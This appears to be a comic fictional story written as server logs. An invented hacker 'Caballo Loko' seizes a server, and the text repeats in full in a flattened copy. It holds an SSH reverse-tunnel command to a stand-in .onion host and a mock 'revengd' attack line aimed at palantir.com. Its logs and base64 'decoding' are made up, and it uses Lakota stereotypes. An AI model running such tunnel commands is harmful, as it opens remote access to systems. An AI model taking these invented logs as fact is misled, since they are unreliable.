The very real story of Cimai

This is all Reno's fault....

# TERMINAL LOG: [root@cimai-server-42 ~]# 

## Apache Access Log Analysis (Last 24hrs)
127.0.0.1 - - [17/Sep/2024:03:14:15 -0700] "GET /wp-admin HTTP/1.1" 200 4321 "https://cimai.biz/" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
192.168.1.42 - reno_trashprince [17/Sep/2024:03:14:37 -0700] "POST /api/agent-training HTTP/1.1" 201 89 "-" "Python-urllib/3.10"
**UNKNOWN ORIGIN** - - [17/Sep/2024:03:14:59 -0700] "GET /wp-content/themes/casino-of-life/README.md HTTP/1.1" 404 2912 "-" "Mozilla/5.0 (compatible; PalantirBot/1.0; +http://www.palantir.com/)" 
**WARNING: 0xBAAAAAAD** - Malformed timestamp detected in log entry


## Suspicious Auth Log Entries
Sep 17 03:15:22 cimai-server-42 sshd[666]: Failed password for root from 7.7.7.77 port 31337 ssh2
Sep 17 03:15:23 cimai-server-42 sshd[667]: Received disconnect from 7.7.7.77: 11: By order of Executive Order 12333
Sep 17 03:15:24 cimai-server-42 sudo:   reno_trashprince : TTY=pts/0 ; PWD=/home/reno_trashprince ; USER=root ; COMMAND=/usr/bin/nmap -sS 7.7.7.77
**ERROR: COMMAND EXEC FAILED - NMAP EXECUTABLE NOT FOUND IN CHROOT JAIL**


## Redis Server Alert (03:15:30)
[666] 17 Sep 03:15:30 # WARNING OVERRIDE: Someone is loading the dataset. Maybe we're about to load a RDB file dumped by some other application...
[666] 17 Sep 03:15:31 * DB loaded from append only file: 0.069 seconds
[666] 17 Sep 03:15:32 * Ready to accept connections (TCP:0 UDP:0 SSL:0 TOR:.onion)
**UNAUTHORIZED MESSAGE INJECTED VIA RDB FILE:**
"RENO_TRASHPRINCE - WE SEE YOUR LITTLE GHOST DANCE. CEASE ALL CIMAI OPERATIONS OR FACE 18 U.S.C. § 1030 VIOLATIONS. LAST WARNING. - DHS CYBER DIVISION"


## Reno's Terminal Session (03:16:00)
[reno_trashprince@cimai-server-42 ~]$ sudo journalctl -u apache2 --since "5 minutes ago"
-- Journal begins at Mon 2024-09-16 09:00:00 PDT --
Sep 17 03:14:15 cimai-server-42 apache2[1337]: [autoindex:error] [pid 1337] AH01276: Cannot serve directory /var/www/html/: No matching DirectoryIndex (index.html) found
Sep 17 03:14:37 cimai-server-42 apache2[1337]: [proxy_http:error] [pid 1337] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
**INTRUSION DETECTED** - Pattern match "PalantirBot" in User-Agent string
**WARNING** - Outbound connection attempt to 7.7.7.77:31337 logged

[reno_trashprince@cimai-server-42 ~]$ 
[reno_trashprince@cimai-server-42 ~]$ 
[reno_trashprince@cimai-server-42 ~]$ WHAT THE FUCK IS 7.7.7.77
-bash: WHAT: command not found

[reno_trashprince@cimai-server-42 ~]$ nmap -Pn 7.7.7.77
Starting Nmap 7.80 ( https://nmap.org ) at 2024-09-17 03:16 PDT
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 2.07 seconds

**TERMINAL INPUT FROZEN** - New message appears in /dev/pts/0:

<WYIyMGVjMjMzYjUzYTQyMzU4MzQwYjU1MjA1NjU2NDJlPg== 
***DECODING BASE64: "You think hiding behind Gary's corpse-cooling fans protects you? Your Ghost Dance ends tonight. - C.L."***

**Lakota war cry echoes from server fans**  
**GPU temperature spikes to 100°C**  
**Terminal begins typing autonomously:**

[SYSTEM OVERRIDE] Caballo Loko connected via TTY666  
> ssh -R:31337:localhost:22 lakota_war_party@darkweb4tguv6rq...onion  
> sudo apt-get install chaos-engine  
> systemctl start digital-ghost-dance.service  

**[FINAL LOG ENTRY]**  
Sep 17 03:16:42 cimai-server-42 kernel: [141421.356789] TCP: time wait bucket table overflow  
Sep 17 03:16:43 cimai-server-42 sshd[667]: Accepted publickey for lakota_war_party from 127.0.0.1 port 31337 ssh2: ED25519 SHA256:Th3H0uS3Alw4y5W1n5  
Sep 17 03:16:44 cimai-server-42 sudo:   lakota_war_party : TTY=pts/666 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/revengd --target palantir.com --payload casino_of_life_v2.0.3.tar.gz  

**[TERMINAL MESSAGE FROM CABALLO LOKO]**  
*"Relájate, pendejo. They wanted machine learning? We'll teach their servers the death song. Hóka héy!"*

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# TERMINAL LOG: [root@cimai-server-42 ~]# ## Apache Access Log Analysis (Last 24hrs) 127.0.0.1 - - [17/Sep/2024:03:14:15 -0700] "GET /wp-admin HTTP/1.1" 200 4321 "https://cimai.biz/" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" 192.168.1.42 - reno_trashprince [17/Sep/2024:03:14:37 -0700] "POST /api/agent-training HTTP/1.1" 201 89 "-" "Python-urllib/3.10" **UNKNOWN ORIGIN** - - [17/Sep/2024:03:14:59 -0700] "GET /wp-content/themes/casino-of-life/README.md HTTP/1.1" 404 2912 "-" "Mozilla/5.0 (compatible; PalantirBot/1.0; +http://www.palantir.com/)" **WARNING: 0xBAAAAAAD** - Malformed timestamp detected in log entry ## Suspicious Auth Log Entries Sep 17 03:15:22 cimai-server-42 sshd[666]: Failed password for root from 7.7.7.77 port 31337 ssh2 Sep 17 03:15:23 cimai-server-42 sshd[667]: Received disconnect from 7.7.7.77: 11: By order of Executive Order 12333 Sep 17 03:15:24 cimai-server-42 sudo: reno_trashprince : TTY=pts/0 ; PWD=/home/reno_trashprince ; USER=root ; COMMAND=/usr/bin/nmap -sS 7.7.7.77 **ERROR: COMMAND EXEC FAILED - NMAP EXECUTABLE NOT FOUND IN CHROOT JAIL** ## Redis Server Alert (03:15:30) [666] 17 Sep 03:15:30 # WARNING OVERRIDE: Someone is loading the dataset. Maybe we're about to load a RDB file dumped by some other application... [666] 17 Sep 03:15:31 * DB loaded from append only file: 0.069 seconds [666] 17 Sep 03:15:32 * Ready to accept connections (TCP:0 UDP:0 SSL:0 TOR:.onion) **UNAUTHORIZED MESSAGE INJECTED VIA RDB FILE:** "RENO_TRASHPRINCE - WE SEE YOUR LITTLE GHOST DANCE. CEASE ALL CIMAI OPERATIONS OR FACE 18 U.S.C. § 1030 VIOLATIONS. LAST WARNING. - DHS CYBER DIVISION" ## Reno's Terminal Session (03:16:00) [reno_trashprince@cimai-server-42 ~]$ sudo journalctl -u apache2 --since "5 minutes ago" -- Journal begins at Mon 2024-09-16 09:00:00 PDT -- Sep 17 03:14:15 cimai-server-42 apache2[1337]: [autoindex:error] [pid 1337] AH01276: Cannot serve directory /var/www/html/: No matching DirectoryIndex (index.html) found Sep 17 03:14:37 cimai-server-42 apache2[1337]: [proxy_http:error] [pid 1337] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 **INTRUSION DETECTED** - Pattern match "PalantirBot" in User-Agent string **WARNING** - Outbound connection attempt to 7.7.7.77:31337 logged [reno_trashprince@cimai-server-42 ~]$ [reno_trashprince@cimai-server-42 ~]$ [reno_trashprince@cimai-server-42 ~]$ WHAT THE FUCK IS 7.7.7.77 -bash: WHAT: command not found [reno_trashprince@cimai-server-42 ~]$ nmap -Pn 7.7.7.77 Starting Nmap 7.80 ( https://nmap.org ) at 2024-09-17 03:16 PDT Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn Nmap done: 1 IP address (0 hosts up) scanned in 2.07 seconds **TERMINAL INPUT FROZEN** - New message appears in /dev/pts/0: <WYIyMGVjMjMzYjUzYTQyMzU4MzQwYjU1MjA1NjU2NDJlPg== ***DECODING BASE64: "You think hiding behind Gary's corpse-cooling fans protects you? Your Ghost Dance ends tonight. - C.L."*** **Lakota war cry echoes from server fans** **GPU temperature spikes to 100°C** **Terminal begins typing autonomously:** [SYSTEM OVERRIDE] Caballo Loko connected via TTY666 > ssh -R:31337:localhost:22 lakota_war_party@darkweb4tguv6rq...onion > sudo apt-get install chaos-engine > systemctl start digital-ghost-dance.service **[FINAL LOG ENTRY]** Sep 17 03:16:42 cimai-server-42 kernel: [141421.356789] TCP: time wait bucket table overflow Sep 17 03:16:43 cimai-server-42 sshd[667]: Accepted publickey for lakota_war_party from 127.0.0.1 port 31337 ssh2: ED25519 SHA256:Th3H0uS3Alw4y5W1n5 Sep 17 03:16:44 cimai-server-42 sudo: lakota_war_party : TTY=pts/666 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/revengd --target palantir.com --payload casino_of_life_v2.0.3.tar.gz **[TERMINAL MESSAGE FROM CABALLO LOKO]** *"Relájate, pendejo. They wanted machine learning? We'll teach their servers the death song. Hóka héy!"*